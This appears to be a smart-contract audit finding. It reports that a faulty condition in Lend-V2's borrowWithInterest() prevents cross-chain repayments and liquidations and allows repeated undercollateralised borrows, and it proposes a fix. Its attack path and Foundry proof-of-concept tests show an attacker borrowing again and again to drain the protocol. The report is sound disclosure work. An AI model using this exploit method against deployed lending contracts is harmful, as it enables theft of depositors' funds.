Skinny Charcoal Chinchilla

High

# Impossible condition in `LendStorage.sol::borrowWithInterest()` allows for unlimited borrows, draining the protocol. AND cross-chain repayments and liquidations are impossibe.

### Summary

For Cross-chain borrowing, the `borrowWithInterest()` plays a crucial role as it returns the borrowed amount on the Source Chain or the Destination Chain. But the impossible check in the function allows for unlimited borrows, impossible repayments and liquidation.

### Root Cause

The [`borrowWithInterest()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/LendStorage.sol#L478), can be called on the Source Chain or the Destination Chain, to get the borrowerd amount + interest owed by a user. However, in the case where, we have collateral on the Source Chain and we borrow on the Destination Chain, the function always return 0 due to the impossible condition. 

```solidity 
    function borrowWithInterest(address borrower, address _lToken) public view returns (uint256) {
        address _token = lTokenToUnderlying[_lToken];
        uint256 borrowedAmount;
        Borrow[] memory borrows = crossChainBorrows[borrower][_token];
        Borrow[] memory collaterals = crossChainCollaterals[borrower][_token];
        require(borrows.length == 0 || collaterals.length == 0, "Invariant violated: both mappings populated");
        if (borrows.length > 0) {
            for (uint256 i = 0; i < borrows.length; i++) {
                if (borrows[i].srcEid == currentEid) {
                    borrowedAmount +=
                        (borrows[i].principle * LTokenInterface(_lToken).borrowIndex()) / borrows[i].borrowIndex;
                }
            }
        } else {
            for (uint256 i = 0; i < collaterals.length; i++) {
@>              if (collaterals[i].destEid == currentEid && collaterals[i].srcEid == currentEid) {  //ROOT CAUSE
                    borrowedAmount +=
                        (collaterals[i].principle * LTokenInterface(_lToken).borrowIndex()) / collaterals[i].borrowIndex;
                }
            }
        }
        return borrowedAmount;
    }
``` 

The first issue is that, cross-chain borrows cannot be repaid. When we borrow on the Destinatioin Chain, the `crossChainCollaterals` mapping is updated to track the borrow. The when we repay on the Destination Chain via [CrossChainRouter.sol::repayCrossChainBorrow()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CrossChainRouter.sol#L156) ->[repayCrossChainBorrowInternal()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CrossChainRouter.sol#L368) -> [_handleRepayment()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CrossChainRouter.sol#L423), which calls [CoreRouter.sol::repayCrossChainLiquidation()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L216) -> [repayBorrowInternal()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L459). The `borrowWithInterest()` is used in here to check if there is a borrowed amount. Since the function always returns 0 for `crossChainCollaterals` even though the mapping has the correct amount, this call will revert due to the require statement. This affects cross-chain liquidations as well, making it impossible.

```solidity 
    function repayBorrowInternal(
        address borrower,
        address liquidator, 
        uint256 _amount,
        address _lToken,
        bool _isSameChain
    ) internal {
        address _token = lendStorage.lTokenToUnderlying(_lToken);
        LTokenInterface(_lToken).accrueInterest();
        uint256 borrowedAmount;

        if (_isSameChain) {
            borrowedAmount = lendStorage.borrowWithInterestSame(borrower, _lToken); 
        } else {
@>          borrowedAmount = lendStorage.borrowWithInterest(borrower, _lToken);
        }
@>      require(borrowedAmount > 0, "Borrowed amount is 0");
```

The second issue is that, this allows for unlimited borrows, draining the protocol. The cross-chain borrow goes like this:

```solidity 
1. borrowCrossChain()  Chain A
        _send()        

2. _handleBorrowCrossChainRequest() Chain B
        _send()

3. _handleValidBorrowRequest() Chain A
```
The collateral is amount on Chain A is sent to Chain B. There, within [_handleBorrowCrossChainRequest](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CrossChainRouter.sol#L581), we check if the collateral is enough for previous borrow + previous interest + current borrow in USD value. When doin so, we use [LendStorage.sol::getHypotheticalAccountLiquidityCollateral()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/LendStorage.sol#L428) to get the amount. This function uses `borrowWithInterest()` to get how much we borrowed on Chain B, which returns 0 due to the bug. The function does returns current borrowing amount in USD value correctly. 

```solidity
    function _handleBorrowCrossChainRequest(LZPayload memory payload, uint32 srcEid) private {
        ...
        (uint256 totalBorrowed,) = lendStorage.getHypotheticalAccountLiquidityCollateral(
            payload.sender, LToken(payable(payload.destlToken)), 0, payload.amount 
        );
        require(payload.collateral >= totalBorrowed, "Insufficient collateral");
        ...
    }

    function getHypotheticalAccountLiquidityCollateral(
        address account,
        LToken lTokenModify,
        uint256 redeemTokens,
        uint256 borrowAmount
    ) public view returns (uint256, uint256) {
        ...
        for (uint256 i = 0; i < borrowedAssets.length;) {
            LToken asset = LToken(borrowedAssets[i]);
            uint256 totalBorrow = borrowWithInterestSame(account, address(asset));

@>          totalBorrow += borrowWithInterest(account, address(asset));

            vars.oraclePriceMantissa = UniswapAnchoredViewInterface(priceOracle).getUnderlyingPrice(asset);
            vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
            vars.sumBorrowPlusEffects = 
                mul_ScalarTruncateAddUInt(vars.oraclePrice, totalBorrow, vars.sumBorrowPlusEffects);

            unchecked {
                ++i;
            }
        }
        if (address(lTokenModify) != address(0)) {
            vars.oraclePriceMantissa = UniswapAnchoredViewInterface(priceOracle).getUnderlyingPrice(lTokenModify);
            vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
            if (redeemTokens > 0) {
                vars.collateralFactor = Exp({
                    mantissa: LendtrollerInterfaceV2(lendtroller).getCollateralFactorMantissa(address(lTokenModify))
                });
                vars.exchangeRate = Exp({mantissa: lTokenModify.exchangeRateStored()});
                vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);
                vars.sumBorrowPlusEffects = 
                    mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);
            }
            if (borrowAmount > 0) {
                vars.sumBorrowPlusEffects =
                    mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
            }
        }
        return (vars.sumBorrowPlusEffects, vars.sumCollateral);
    }
```

Storage is updated correctly on both chain but the comparison is made as if this is our first borrow, no matter how much we borrowed before. The attacker can repeat this to borrow again and again until he drains the protocol.


### Internal Pre-conditions

none

### External Pre-conditions

none

### Attack Path

Attack path of unlimited borrows. 

1. Alice deposit 100e18 collateral on chain A.
2. Alice borrow 50e18 on chain B. She has enough collateral, the check pass. 
3. Alice borrow 50e18 again on chain B, her previous borrow is not accounted.
4. She has enough collateral to borrow 50e18, the check pass. 


### Impact

1. Cross-chain repayments are impossible. 
2. Unlimited cross-chain borrows.
3. Cross-chain liquidations are impossible.

### PoC

Prerequisites

The protocol uses the current(anvil) chain id in CrossChainRouterMock, which causes the chain id of both Chain A and Chain B to be the same when simulating a cross-chain message. This means our impossible condition becomes possible. Change the eid in the [HelperConfig.s.sol]() so the chainId's will be different just like in real life.

```diff
    function getOrCreateAnvilConfig() public returns (NetworkConfig memory) {
        vm.startBroadcast();
        ERC20Mock mockToken1 = new ERC20Mock();
        ERC20Mock mockToken2 = new ERC20Mock();
        address[] memory supportedTokens = new address[](2);
        supportedTokens[0] = address(mockToken1);
        supportedTokens[1] = address(mockToken2);
        bytes32[] memory pythPriceIds = new bytes32[](0);
        address[] memory chainlinkFeeds = new address[](0);

-       uint32 eid = 31337;
+       uint32 eid = 1;
        ...
```


1. POC for Impossible Repayment. We can see even though the `crossChainCollaterals` amount is not empty, and cross-chain borrow was sucessful, the user is unable to repay.

```solidity 
    function test_impossible_crosschain_repay(uint256 amountToSupply, uint256 amountToBorrow) public {
        amountToSupply = bound(amountToSupply, 1e18, 1e30);
        vm.deal(address(routerA), 1 ether);
        (address tokenA, address lTokenA) = _supplyA(amountToSupply);
        (address tokenB, address lTokenB) = _supplyB(amountToSupply * 2);
        uint256 maxBorrow = (lendStorageA.getMaxBorrowAmount(deployer, lTokenA) * 0.9e18) / 1e18;
        uint256 boundedBorrow = bound(amountToBorrow, 0.1e18, maxBorrow);
        address destToken = lendStorageA.underlyingToDestUnderlying(tokenA, CHAIN_B_ID);
        require(destToken != address(0), "Token mapping not set up correctly");
        uint256 initialTokenBalance = IERC20(destToken).balanceOf(deployer);
        vm.startPrank(deployer);
        vm.expectEmit(true, true, true, true);
        emit BorrowSuccess(deployer, tokenA, boundedBorrow);
        routerA.borrowCrossChain(boundedBorrow, tokenA, CHAIN_B_ID);
        assertEq(
            IERC20(destToken).balanceOf(deployer) - initialTokenBalance,
            boundedBorrow,
            "Should receive correct amount of borrowed tokens"
        );
        IERC20(tokenB).approve(address(coreRouterB), type(uint256).max);
        //NOTE: 31337 is chainId of Chain A. Chain B's chainId is 1
        //The function will revert with ""Borrowed amount is 0"".
        routerB.repayCrossChainBorrow(deployer, boundedBorrow / 2, lTokenB, 31337); 
        vm.stopPrank();
    }
```

2. POC for Unlimited Borrow. Here attacker can borrow again and again without sufficient collateral.

```solidity 
    function test_unlimited_crosschain_borrow() public {
        uint256 amountToSupply = 1000e18;
        vm.deal(address(routerA), 1 ether);
        (address tokenA, address lTokenA) = _supplyA(amountToSupply);
        (address tokenB, address lTokenB) = _supplyB(amountToSupply);

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        ERC20Mock(tokenA).mint(attacker, 10e18);
        IERC20(tokenA).approve(address(coreRouterA), 10e18);
        coreRouterA.supply(10e18, tokenA);
        //borrow 5 times sucessfully
        routerA.borrowCrossChain(7e18, tokenA, CHAIN_B_ID);
        routerA.borrowCrossChain(7e18, tokenA, CHAIN_B_ID);
        routerA.borrowCrossChain(7e18, tokenA, CHAIN_B_ID);
        routerA.borrowCrossChain(7e18, tokenA, CHAIN_B_ID);
        routerA.borrowCrossChain(7e18, tokenA, CHAIN_B_ID);
        vm.stopPrank();
    }
```


### Mitigation


1. Fix the condition 

```diff 
    function borrowWithInterest(address borrower, address _lToken) public view returns (uint256) {
        address _token = lTokenToUnderlying[_lToken];
        uint256 borrowedAmount;
        Borrow[] memory borrows = crossChainBorrows[borrower][_token];
        Borrow[] memory collaterals = crossChainCollaterals[borrower][_token];
        require(borrows.length == 0 || collaterals.length == 0, "Invariant violated: both mappings populated");
        if (borrows.length > 0) {
            for (uint256 i = 0; i < borrows.length; i++) {
                if (borrows[i].srcEid == currentEid) {
                    borrowedAmount +=
                        (borrows[i].principle * LTokenInterface(_lToken).borrowIndex()) / borrows[i].borrowIndex;
                }
            }
        } else {
            for (uint256 i = 0; i < collaterals.length; i++) {
-               if (collaterals[i].destEid == currentEid && collaterals[i].srcEid == currentEid) { 
+               if (collaterals[i].srcEid == currentEid) { 
                    borrowedAmount +=
                        (collaterals[i].principle * LTokenInterface(_lToken).borrowIndex()) / collaterals[i].borrowIndex;
                }
            }
        }
        return borrowedAmount;
    }
```